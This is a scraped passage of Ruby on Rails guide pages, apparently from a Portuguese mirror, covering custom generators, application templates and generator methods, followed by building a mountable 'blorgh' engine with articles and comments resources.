config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false end Copiar

If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript, and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.

To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:

$ bin/rails generate generator rails/my_helper
create  lib/generators/rails/my_helper
create  lib/generators/rails/my_helper/my_helper_generator.rb
create  lib/generators/rails/my_helper/USAGE
create  lib/generators/rails/my_helper/templates
invoke  test_unit
create    test/lib/generators/rails/my_helper_generator_test.rb

bin/rails generate generator rails/my_helper Copiar

After that, we can delete both the templates directory and the source_root class method call from our new generator, because we are not going to need them. Add the method below, so our generator looks like the following:

# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
end

# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE module #{class_name}Helper attr_reader :#{plural_name}, :#{plural_name.singularize} end FILE end end Copiar

We can try out our new generator by creating a helper for products:

$ bin/rails generate my_helper products
create  app/helpers/products_helper.rb

bin/rails generate my_helper products Copiar

And it will generate the following helper file in app/helpers:

module ProductsHelper
attr_reader :products, :product
end

module ProductsHelper attr_reader :products, :product end Copiar

Which is what we expected. We can now tell scaffold to use our new helper generator by editing config/application.rb once again:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: false
g.stylesheets     false
g.helper          :my_helper
end

config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false g.helper :my_helper end Copiar

and see it in action when invoking the generator:

$ bin/rails generate scaffold Article body:text
[...]
invoke    my_helper
create      app/helpers/articles_helper.rb

bin/rails generate scaffold Article body:text Copiar

We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.

Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.

To do that, we can change the generator this way:

# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end

hook_for :test_framework
end

# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE module #{class_name}Helper attr_reader :#{plural_name}, :#{plural_name.singularize} end FILE end hook_for :test_framework end Copiar

Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both Rails::TestUnitGenerator and TestUnit::MyHelperGenerator. Since none of those are defined, we can tell our generator to invoke TestUnit::Generators::HelperGenerator instead, which is defined since it's a Rails generator. To do that, we just need to add:

# Search for :helper instead of :my_helper
hook_for :test_framework, as: :helper

# Search for :helper instead of :my_helper hook_for :test_framework, as: :helper Copiar

And now you can re-run scaffold for another resource and see it generating tests as well!

6 Customizing Your Workflow by Changing Generators Templates

In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case Rails::Generators::HelperGenerator.

In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is lib/templates. Since we want to customize Rails::Generators::HelperGenerator, we can do that by simply making a template copy inside lib/templates/rails/helper with the name helper.rb. So let's create that file with the following content:

module <%= class_name %>Helper
attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
end

module <%= class_name %>Helper attr_reader :<%= plural_name %>, :<%= plural_name.singularize %> end Copiar

and revert the last change in config/application.rb:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: false
g.stylesheets     false
end

config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false end Copiar

If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating edit.html.erb, index.html.erb and so on inside lib/templates/erb/scaffold.

Scaffold templates in Rails frequently use ERB tags; these tags need to be escaped so that the generated output is valid ERB code.

For example, the following escaped ERB tag would be needed in the template (note the extra %)...

<%%= stylesheet_include_tag :application %>

<%%= stylesheet_include_tag :application %> Copiar

...to generate the following output:

<%= stylesheet_include_tag :application %>

<%= stylesheet_include_tag :application %> Copiar

7 Adding Generators Fallbacks

One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a TestUnit generator if none was found under the Shoulda namespace.

We can easily simulate this behavior by changing our config/application.rb once again:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :shoulda, fixture: false
g.stylesheets     false

# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
end

config.generators do |g| g.orm :active_record g.template_engine :erb g.test_framework :shoulda, fixture: false g.stylesheets false # Add a fallback! g.fallbacks[:shoulda] = :test_unit end Copiar

Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:

$ bin/rails generate scaffold Comment body:text
invoke  active_record
create    db/migrate/20130924143118_create_comments.rb
create    app/models/comment.rb
invoke    shoulda
create      test/models/comment_test.rb
create      test/fixtures/comments.yml
invoke  resource_route
route    resources :comments
invoke  scaffold_controller
create    app/controllers/comments_controller.rb
invoke    erb
create      app/views/comments
create      app/views/comments/index.html.erb
create      app/views/comments/edit.html.erb
create      app/views/comments/show.html.erb
create      app/views/comments/new.html.erb
create      app/views/comments/_form.html.erb
invoke    shoulda
create      test/controllers/comments_controller_test.rb
invoke    my_helper
create      app/helpers/comments_helper.rb
invoke    jbuilder
create      app/views/comments/index.json.jbuilder
create      app/views/comments/show.json.jbuilder
invoke  test_unit
create    test/application_system_test_case.rb
create    test/system/comments_test.rb
invoke  assets
invoke    scss
create    app/assets/stylesheets/scaffolds.scss

bin/rails generate scaffold Comment body:text Copiar

Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.

8 Application Templates

Now that you've seen how generators can be used inside an application, did you know they can also be used to generate applications too? This kind of generator is referred to as a "template". This is a brief overview of the Templates API. For detailed documentation see the Rails Application Templates guide.

gem "rspec-rails", group: "test"
gem "cucumber-rails", group: "test"

if yes?("Would you like to install Devise?")
gem "devise"
generate "devise:install"
model_name = ask("What would you like the user model to be called? [user]")
model_name = "user" if model_name.blank?
generate "devise", model_name
end

gem "rspec-rails", group: "test" gem "cucumber-rails", group: "test" if yes?("Would you like to install Devise?") gem "devise" generate "devise:install" model_name = ask("What would you like the user model to be called? [user]") model_name = "user" if model_name.blank? generate "devise", model_name end Copiar

In the above template we specify that the application relies on the rspec-rails and cucumber-rails gem so these two will be added to the test group in the Gemfile. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the Gemfile outside of any group and then runs the devise:install generator. This template then takes the users input and runs the devise generator, with the user's answer from the last question being passed to this generator.

Imagine that this template was in a file called template.rb. We can use it to modify the outcome of the rails new command by using the -m option and passing in the filename:

$ rails new thud -m template.rb

rails new thud -m template.rb Copiar

This command will generate the Thud application, and then apply the template to the generated output.

Templates don't have to be stored on the local system, the -m option also supports online templates:

$ rails new thud -m https://gist.github.com/radar/722911/raw/

rails new thud -m https://gist.github.com/radar/722911/raw/ Copiar

Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.

9 Adding Command Line Arguments

Rails generators can be easily modified to accept custom command line arguments. This functionality comes from Thor:

class_option :scope, type: :string, default: 'read_products'

class_option :scope, type: :string, default: 'read_products' Copiar

Now our generator can be invoked as follows:

$ bin/rails generate initializer --scope write_products

bin/rails generate initializer --scope write_products Copiar

The command line arguments are accessed through the options method inside the generator class. e.g:

@scope = options['scope']

@scope = options['scope'] Copiar

10 Generator methods

The following are methods available for both generators and templates for Rails.

Methods provided by Thor are not covered this guide and can be found in Thor's documentation

10.1 gem

Specifies a gem dependency of the application.

gem "rspec", group: "test", version: "2.1.0"
gem "devise", "1.1.5"

gem "rspec", group: "test", version: "2.1.0" gem "devise", "1.1.5" Copiar

Available options are:

- :group - The group in the Gemfile where this gem should go.

- :version - The version string of the gem you want to use. Can also be specified as the second argument to the method.

- :git - The URL to the git repository for this gem.

Any additional options passed to this method are put on the end of the line:

gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master"

gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" Copiar

The above code will put the following line into Gemfile:

gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master"

gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" Copiar

10.2 gem_group

Wraps gem entries inside a group:

gem_group :development, :test do
gem "rspec-rails"
end

gem_group :development, :test do gem "rspec-rails" end Copiar

10.3 add_source

Adds a specified source to Gemfile:

add_source "http://gems.github.com"

add_source "http://gems.github.com" Copiar

This method also takes a block:

add_source "http://gems.github.com" do
gem "rspec-rails"
end

add_source "http://gems.github.com" do gem "rspec-rails" end Copiar

10.4 inject_into_file

Injects a block of code into a defined position in your file.

inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
puts "Hello World"
RUBY
end

inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY' puts "Hello World" RUBY end Copiar

10.5 gsub_file

Replaces text inside a file.

gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'

gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' Copiar

Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.

10.6 application

Adds a line to config/application.rb directly after the application class definition.

application "config.asset_host = 'http://example.com'"

application "config.asset_host = 'http://example.com'" Copiar

This method can also take a block:

application do
"config.asset_host = 'http://example.com'"
end

application do "config.asset_host = 'http://example.com'" end Copiar

Available options are:

- :env - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:

application(nil, env: "development") do
"config.asset_host = 'http://localhost:3000'"
end

application(nil, env: "development") do "config.asset_host = 'http://localhost:3000'" end Copiar

10.7 git

Runs the specified git command:

git :init
git add: "."
git commit: "-m First commit!"
git add: "onefile.rb", rm: "badfile.cxx"

git :init git add: "." git commit: "-m First commit!" git add: "onefile.rb", rm: "badfile.cxx" Copiar

The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.

10.8 vendor

Places a file into vendor which contains the specified code.

vendor "sekrit.rb", '#top secret stuff'

vendor "sekrit.rb", '#top secret stuff' Copiar

This method also takes a block:

vendor "seeds.rb" do
"puts 'in your app, seeding your database'"
end

vendor "seeds.rb" do "puts 'in your app, seeding your database'" end Copiar

10.9 lib

Places a file into lib which contains the specified code.

lib "special.rb", "p Rails.root"

lib "special.rb", "p Rails.root" Copiar

This method also takes a block:

lib "super_special.rb" do
"puts 'Super special!'"
end

lib "super_special.rb" do "puts 'Super special!'" end Copiar

10.10 rakefile

Creates a Rake file in the lib/tasks directory of the application.

rakefile "test.rake", 'task(:hello) { puts "Hello, there" }'

rakefile "test.rake", 'task(:hello) { puts "Hello, there" }' Copiar

This method also takes a block:

rakefile "test.rake" do
%Q{
task rock: :environment do
puts "Rockin'"
end
}
end

rakefile "test.rake" do %Q{ task rock: :environment do puts "Rockin'" end } end Copiar

10.11 initializer

Creates an initializer in the config/initializers directory of the application:

initializer "begin.rb", "puts 'this is the beginning'"

initializer "begin.rb", "puts 'this is the beginning'" Copiar

This method also takes a block, expected to return a string:

initializer "begin.rb" do
"puts 'this is the beginning'"
end

initializer "begin.rb" do "puts 'this is the beginning'" end Copiar

10.12 generate

Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.

generate "scaffold", "forums title:string description:text"

generate "scaffold", "forums title:string description:text" Copiar

10.13 rake

Runs the specified Rake task.

rake "db:migrate"

rake "db:migrate" Copiar

Available options are:

- :env - Specifies the environment in which to run this rake task.

- :sudo - Whether or not to run this task using sudo. Defaults to false.

10.14 route

Adds text to the config/routes.rb file:

route "resources :people"

route "resources :people" Copiar

10.15 readme

Output the contents of a file in the template's source_path, usually a README.

readme "README"

readme "README" Copiar

Introdução às Engines — Ruby on Rails...

1 What are Engines?

Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the Rails::Application class inheriting a lot of its behavior from Rails::Engine.

Therefore, engines and applications can be thought of as almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.

Engines are also closely related to plugins. The two share a common lib directory structure, and are both generated using the rails plugin new generator. The difference is that an engine is considered a "full plugin" by Rails (as indicated by the --full option that's passed to the generator command). We'll actually be using the --mountable option here, which includes all the features of --full, and then some. This guide will refer to these "full plugins" simply as "engines" throughout. An engine can be a plugin, and a plugin can be an engine.

The engine that will be created in this guide will be called "blorgh". This engine will provide blogging functionality to its host applications, allowing for new articles and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.

Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as articles_path and use an engine that also provides a path also called articles_path, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.

It's important to keep in mind at all times that the application should always take precedence over its engines. An application is the object that has final say in what goes on in its environment. The engine should only be enhancing it, rather than changing it drastically.

To see demonstrations of other engines, check out Devise, an engine that provides authentication for its parent applications, or Thredded, an engine that provides forum functionality. There's also Spree which provides an e-commerce platform, and Refinery CMS, a CMS engine.

Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!

2 Generating an Engine

To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:

$ rails plugin new blorgh --mountable

rails plugin new blorgh --mountable Copiar

The full list of options for the plugin generator may be seen by typing:

$ rails plugin --help

rails plugin --help Copiar

The --mountable option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the --full option. The --full option tells the generator that you want to create an engine, including a skeleton structure that provides the following:

- An app directory tree

- A config/routes.rb file:

Rails.application.routes.draw do
end

Rails.application.routes.draw do end Copiar

- A file at lib/blorgh/engine.rb, which is identical in function to a standard Rails application's config/application.rb file:

module Blorgh
class Engine < ::Rails::Engine
end
end

module Blorgh class Engine < ::Rails::Engine end end Copiar

The --mountable option will add to the --full option:

- Asset manifest files (blorgh_manifest.js and application.css)

- A namespaced ApplicationController stub

- A namespaced ApplicationHelper stub

- A layout view template for the engine

- Namespace isolation to config/routes.rb:

Blorgh::Engine.routes.draw do
end

Blorgh::Engine.routes.draw do end Copiar

- Namespace isolation to lib/blorgh/engine.rb:

module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end

module Blorgh class Engine < ::Rails::Engine isolate_namespace Blorgh end end Copiar

Additionally, the --mountable option tells the generator to mount the engine inside the dummy testing application located at test/dummy by adding the following to the dummy application's routes file at test/dummy/config/routes.rb:

mount Blorgh::Engine => "/blorgh"

mount Blorgh::Engine => "/blorgh" Copiar

2.1 Inside an Engine

2.1.1 Critical Files

At the root of this brand new engine's directory lives a blorgh.gemspec file. When you include the engine into an application later on, you will do so with this line in the Rails application's Gemfile:

gem 'blorgh', path: 'engines/blorgh'

gem 'blorgh', path: 'engines/blorgh' Copiar

Don't forget to run bundle install as usual. By specifying it as a gem within the Gemfile, Bundler will load it as such, parsing this blorgh.gemspec file and requiring a file within the lib directory called lib/blorgh.rb. This file requires the blorgh/engine.rb file (located at lib/blorgh/engine.rb) and defines a base module called Blorgh.

require "blorgh/engine"

module Blorgh
end

require "blorgh/engine" module Blorgh end Copiar

Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, so if you want to offer configuration options, the file where your engine's module is defined is perfect for that. Place the methods inside the module and you'll be good to go.

Within lib/blorgh/engine.rb is the base class for the engine:

module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end

module Blorgh class Engine < ::Rails::Engine isolate_namespace Blorgh end end Copiar

By inheriting from the Rails::Engine class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the app directory of the engine to the load path for models, mailers, controllers, and views.

The isolate_namespace method here deserves special notice. This call is responsible for isolating the controllers, models, routes, and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts is helpers. Without calling isolate_namespace, the engine's helpers would be included in an application's controllers.

It is highly recommended that the isolate_namespace line be left within the Engine class definition. Without it, classes generated in an engine may conflict with an application.

What this isolation of the namespace means is that a model generated by a call to bin/rails generate model, such as bin/rails generate model article, won't be called Article, but instead be namespaced and called Blorgh::Article. In addition, the table for the model is namespaced, becoming blorgh_articles, rather than simply articles. Similar to the model namespacing, a controller called ArticlesController becomes Blorgh::ArticlesController and the views for that controller will not be at app/views/articles, but app/views/blorgh/articles instead. Mailers, jobs and helpers are namespaced as well.

Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the Routes section of this guide.

2.1.2 app Directory

Inside the app directory are the standard assets, controllers, helpers, jobs, mailers, models, and views directories that you should be familiar with from an application. We'll look more into models in a future section, when we're writing the engine.

Within the app/assets directory, there are the images and stylesheets directories which, again, you should be familiar with due to their similarity to an application. One difference here, however, is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.

Within the app/controllers directory there is a blorgh directory that contains a file called application_controller.rb. This file will provide any common functionality for the controllers of the engine. The blorgh directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.

The ApplicationController class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.

Because of the way that Ruby does constant lookup you may run into a situation where your engine controller is inheriting from the main application controller and not your engine's application controller. Ruby is able to resolve the ApplicationController constant, and therefore the autoloading mechanism is not triggered. See the section When Constants Aren't Missed. The best way to prevent this from happening is to use require_dependency to ensure that the engine's application controller is loaded. For example:

# app/controllers/blorgh/articles_controller.rb:
require_dependency "blorgh/application_controller"

module Blorgh
class ArticlesController < ApplicationController
# ...
end
end

# app/controllers/blorgh/articles_controller.rb: require_dependency "blorgh/application_controller" module Blorgh class ArticlesController < ApplicationController # ... end end Copiar

Don't use require because it will break the automatic reloading of classes in the development environment - using require_dependency ensures that classes are loaded and unloaded in the correct manner.

Just like for app/controllers, you will find a blorgh subdirectory under the app/helpers, app/jobs, app/mailers and app/models directories containing the associated application_*.rb file for gathering common functionalities. By placing your files under this subdirectory and namespacing your objects, you prevent them from possibly clashing with identically-named elements within other engines or even within the application.

Lastly, the app/views directory contains a layouts folder, which contains a file at blorgh/application.html.erb. This file allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's app/views/layouts/application.html.erb file.

If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.

2.1.3 bin Directory

This directory contains one file, bin/rails, which enables you to use the rails sub-commands and generators just like you would within an application. This means that you will be able to generate new controllers and models for this engine very easily by running commands like this:

$ bin/rails generate model

bin/rails generate model Copiar

Keep in mind, of course, that anything generated with these commands inside of an engine that has isolate_namespace in the Engine class will be namespaced.

2.1.4 test Directory

The test directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at test/dummy. This application will mount the engine in the test/dummy/config/routes.rb file:

Rails.application.routes.draw do
mount Blorgh::Engine => "/blorgh"
end

Rails.application.routes.draw do mount Blorgh::Engine => "/blorgh" end Copiar

This line mounts the engine at the path /blorgh, which will make it accessible through the application only at that path.

Inside the test directory there is the test/integration directory, where integration tests for the engine should be placed. Other directories can be created in the test directory as well. For example, you may wish to create a test/models directory for your model tests.

3 Providing Engine Functionality

The engine that this guide covers provides submitting articles and commenting functionality and follows a similar thread to the Getting Started Guide, with some new twists.

For this section, make sure to run the commands in the root of the blorgh engine's directory.

3.1 Generating an Article Resource

The first thing to generate for a blog engine is the Article model and related controller. To quickly generate this, you can use the Rails scaffold generator.

$ bin/rails generate scaffold article title:string text:text

bin/rails generate scaffold article title:string text:text Copiar

This command will output this information:

invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_articles.rb
create    app/models/blorgh/article.rb
invoke    test_unit
create      test/models/blorgh/article_test.rb
create      test/fixtures/blorgh/articles.yml
invoke  resource_route
route    resources :articles
invoke  scaffold_controller
create    app/controllers/blorgh/articles_controller.rb
invoke    erb
create      app/views/blorgh/articles
create      app/views/blorgh/articles/index.html.erb
create      app/views/blorgh/articles/edit.html.erb
create      app/views/blorgh/articles/show.html.erb
create      app/views/blorgh/articles/new.html.erb
create      app/views/blorgh/articles/_form.html.erb
invoke    test_unit
create      test/controllers/blorgh/articles_controller_test.rb
create      test/system/blorgh/articles_test.rb
invoke    helper
create      app/helpers/blorgh/articles_helper.rb
invoke      test_unit
invoke  assets
invoke    css
create      app/assets/stylesheets/blorgh/articles.css
invoke  css
create    app/assets/stylesheets/scaffold.css

invoke active_record create db/migrate/[timestamp]_create_blorgh_articles.rb create app/models/blorgh/article.rb invoke test_unit create test/models/blorgh/article_test.rb create test/fixtures/blorgh/articles.yml invoke resource_route route resources :articles invoke scaffold_controller create app/controllers/blorgh/articles_controller.rb invoke erb create app/views/blorgh/articles create app/views/blorgh/articles/index.html.erb create app/views/blorgh/articles/edit.html.erb create app/views/blorgh/articles/show.html.erb create app/views/blorgh/articles/new.html.erb create app/views/blorgh/articles/_form.html.erb invoke test_unit create test/controllers/blorgh/articles_controller_test.rb create test/system/blorgh/articles_test.rb invoke helper create app/helpers/blorgh/articles_helper.rb invoke test_unit invoke assets invoke css create app/assets/stylesheets/blorgh/articles.css invoke css create app/assets/stylesheets/scaffold.css Copiar

The first thing that the scaffold generator does is invoke the active_record generator, which generates a migration and a model for the resource. Note here, however, that the migration is called create_blorgh_articles rather than the usual create_articles. This is due to the isolate_namespace method called in the Blorgh::Engine class's definition. The model here is also namespaced, being placed at app/models/blorgh/article.rb rather than app/models/article.rb due to the isolate_namespace call within the Engine class.

Next, the test_unit generator is invoked for this model, generating a model test at test/models/blorgh/article_test.rb (rather than test/models/article_test.rb) and a fixture at test/fixtures/blorgh/articles.yml (rather than test/fixtures/articles.yml).

After that, a line for the resource is inserted into the config/routes.rb file for the engine. This line is simply resources :articles, turning the config/routes.rb file for the engine into this:

Blorgh::Engine.routes.draw do
resources :articles
end

Blorgh::Engine.routes.draw do resources :articles end Copiar

Note here that the routes are drawn upon the Blorgh::Engine object rather than the YourApp::Application class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the test directory section. It also causes the engine's routes to be isolated from those routes that are within the application. The Routes section of this guide describes it in detail.

Next, the scaffold_controller generator is invoked, generating a controller called Blorgh::ArticlesController (at app/controllers/blorgh/articles_controller.rb) and its related views at app/views/blorgh/articles. This generator also generates tests for the controller (test/controllers/blorgh/articles_controller_test.rb and test/system/blorgh/articles_test.rb) and a helper (app/helpers/blorgh/articles_helper.rb).

Everything this generator has created is neatly namespaced. The controller's class is defined within the Blorgh module:

module Blorgh
class ArticlesController < ApplicationController
# ...
end
end

module Blorgh class ArticlesController < ApplicationController # ... end end Copiar

The ArticlesController class inherits from Blorgh::ApplicationController, not the application's ApplicationController.

The helper inside app/helpers/blorgh/articles_helper.rb is also namespaced:

module Blorgh
module ArticlesHelper
# ...
end
end

module Blorgh module ArticlesHelper # ... end end Copiar

This helps prevent conflicts with any other engine or application that may have an article resource as well.

Finally, the assets for this resource are generated in one file: app/assets/stylesheets/blorgh/articles.css. You'll see how to use these a little later.

You can see what the engine has so far by running bin/rails db:migrate at the root of our engine to run the migration generated by the scaffold generator, and then running bin/rails server in test/dummy. When you open http://localhost:3000/blorgh/articles you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.

If you'd rather play around in the console, bin/rails console will also work just like a Rails application. Remember: the Article model is namespaced, so to reference it you must call it as Blorgh::Article.

irb> Blorgh::Article.find(1)
=> #<Blorgh::Article id: 1 ...>

Blorgh::Article.find(1) Copiar

One final thing is that the articles resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of articles. This can be made to happen if this line is inserted into the config/routes.rb file inside the engine:

root to: "articles#index"

root to: "articles#index" Copiar

Now people will only need to go to the root of the engine to see all the articles, rather than visiting /articles. This means that instead of http://localhost:3000/blorgh/articles, you only need to go to http://localhost:3000/blorgh now.

3.2 Generating a Comments Resource

Now that the engine can create new articles, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller, and then modify the articles scaffold to display comments and allow people to create new ones.

From the engine root, run the model generator. Tell it to generate a Comment model, with the related table having two columns: an article_id integer and text text column.

$ bin/rails generate model Comment article_id:integer text:text

bin/rails generate model Comment article_id:integer text:text Copiar

This will output the following:

invoke  active_record
create    db/migrate/[timestamp]_create_blorgh_comments.rb
create    app/models/blorgh/comment.rb
invoke    test_unit
create      test/models/blorgh/comment_test.rb
create      test/fixtures/blorgh/comments.yml

invoke active_record create db/migrate/[timestamp]_create_blorgh_comments.rb create app/models/blorgh/comment.rb invoke test_unit create test/models/blorgh/comment_test.rb create test/fixtures/blorgh/comments.yml Copiar

This generator call will generate just the necessary model files it needs, namespacing the files under a blorgh directory and creating a model class called Blorgh::Comment. Now run the migration to create our blorgh_comments table:

$ bin/rails db:migrate

bin/rails db:migrate Copiar

To show the comments on an article, edit app/views/blorgh/articles/show.html.erb and add this line before the "Edit" link:

<h3>Comments</h3>
<%= render @article.comments %>

<h3>Comments</h3> <%= render @article.comments %> Copiar

This line will require there to be a has_many association for comments defined on the Blorgh::Article model, which there isn't right now. To define one, open app/models/blorgh/article.rb and add this line into the model:

has_many :comments

has_many :comments Copiar

Turning the model into this:

module Blorgh
class Article < ApplicationRecord
has_many :comments
end
end

module Blorgh class Article < ApplicationRecord has_many :comments end end Copiar

Because the has_many is defined inside a class that is inside the Blorgh module, Rails will know that you want to use the Blorgh::Comment model for these objects, so there's no need to specify that using the :class_name option here.

Next, there needs to be a form so that comments can be created on an article. To add this, put this line underneath the call to render @article.comments in app/views/blorgh/articles/show.html.erb:

<%= render "blorgh/comments/form" %>

<%= render "blorgh/comments/form" %> Copiar

Next, the partial that this line will render needs to exist. Create a new directory at app/views/blorgh/comments and in it a new file called _form.html.erb which has this content to create the required partial:

<h3>New comment</h3>
<%= form_with model: [@article, @article.comments.build] do |form| %>
<p>
<%= form.label :text %><br>
<%= form.text_area :text %>
</p>
<%= form.submit %>
<% end %>

<h3>New comment</h3> <%= form_with model: [@article, @article.comments.build] do |form| %> <p> <%= form.label :text %><br> <%= form.text_area :text %> </p> <%= form.submit %> <% end %> Copiar

When this form is submitted, it is going to attempt to perform a POST request to a route of /articles/:article_id/comments within the engine. This route doesn't exist at the moment, but can be created by changing the resources :articles line inside config/routes.rb into these lines:

resources :articles do
resources :comments
end

resources :articles do resources :comments end Copiar

This creates a nested route for the comments, which is what the form requires.

The route now exists, but the controller that this route goes to does not. To create it, run this command from the engine root:

$ bin/rails generate controller comments

bin/rails generate controller comments Copiar

This will generate the following things:

create  app/controllers/blorgh/comments_controller.rb
invoke  erb
exist    app/views/blorgh/comments
invoke  test_unit
create    test/controllers/blorgh/comments_controller_test.rb
invoke  helper
create    app/helpers/blorgh/comments_helper.rb
invoke    test_unit
invoke  assets
invoke    css
create      app/assets/stylesheets/blorgh/comments.css

create app/controllers/blorgh/comments_controller.rb invoke erb exist app/views/blorgh/comments invoke test_unit create test/controllers/blorgh/comments_controller_test.rb invoke helper create app/helpers/blorgh/comments_helper.rb invoke test_unit invoke assets invoke css create app/assets/stylesheets/blorgh/comments.css Copiar

The form will be making a POST request to /articles/:article_id/comments, which will correspond with the create action in Blorgh::CommentsController. This action needs to be created, which can be done by putting the following lines inside the class definition in app/controllers/blorgh/comments_controller.rb:

def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
flash[:notice] = "Comment has been created!"
redirect_to articles_path
end

private
def comment_params
params.require(:comment).permit(:text)
end

def create @article = Article.find(params[:article_id]) @comment = @article.comments.create(comment_params) flash[:notice] = "Comment has been created!" redirect_to articles_path end private def comment_params params.require(:comment).permit(:text) end Copiar

This is the final step required to get the new comment form working. Displaying the comments, however, is not quite right yet. If you were to create a comment right now, you would see this error:

Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
"/Users/ryan/Sites/side_projects/blorgh/app/views"

Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * "/Users/ryan/Sites/side_projects/blorgh/app/views" Copiar

